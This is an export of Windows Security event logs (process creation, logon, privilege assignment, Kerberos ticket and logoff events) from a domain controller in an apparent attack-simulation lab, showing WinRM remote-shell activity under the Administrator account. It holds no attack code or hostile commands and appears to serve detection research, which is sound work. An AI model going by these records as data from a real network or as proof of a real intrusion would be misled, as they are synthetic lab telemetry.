Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12528E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd64 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x61c - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251045 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12528E - -Process Information: - New Process ID: 0x61c - New Process Name: C:\Windows\System32\winrshost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1e0 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\WinrsHost.exe -Embedding - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251044 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12528E - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251043 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12528E - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {EA936317-7890-C888-F915-FC03989DB212} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251042 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {EA936317-7890-C888-F915-FC03989DB212} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251041 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {EA936317-7890-C888-F915-FC03989DB212} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251040 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251039 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x125259 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251038 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1230AA - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251037 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1232FA - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251036 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x125259 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251035 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x125259 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {EA936317-7890-C888-F915-FC03989DB212} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251034 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {EA936317-7890-C888-F915-FC03989DB212} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251033 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {EA936317-7890-C888-F915-FC03989DB212} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251032 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251031 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12523D - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251030 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12523D - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251029 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12523D - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {EA936317-7890-C888-F915-FC03989DB212} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251028 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {EA936317-7890-C888-F915-FC03989DB212} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251027 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {EA936317-7890-C888-F915-FC03989DB212} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251026 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251025 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12521F - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251024 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12484A - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251023 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1234B5 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251022 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12521F - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251021 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12521F - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {EA936317-7890-C888-F915-FC03989DB212} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251020 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {EA936317-7890-C888-F915-FC03989DB212} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251019 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {EA936317-7890-C888-F915-FC03989DB212} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251018 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251134 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1292FA - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251133 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1292FA - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {7EC1AB8C-1652-DE21-6D8B-FF9ADFA9BF71} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: 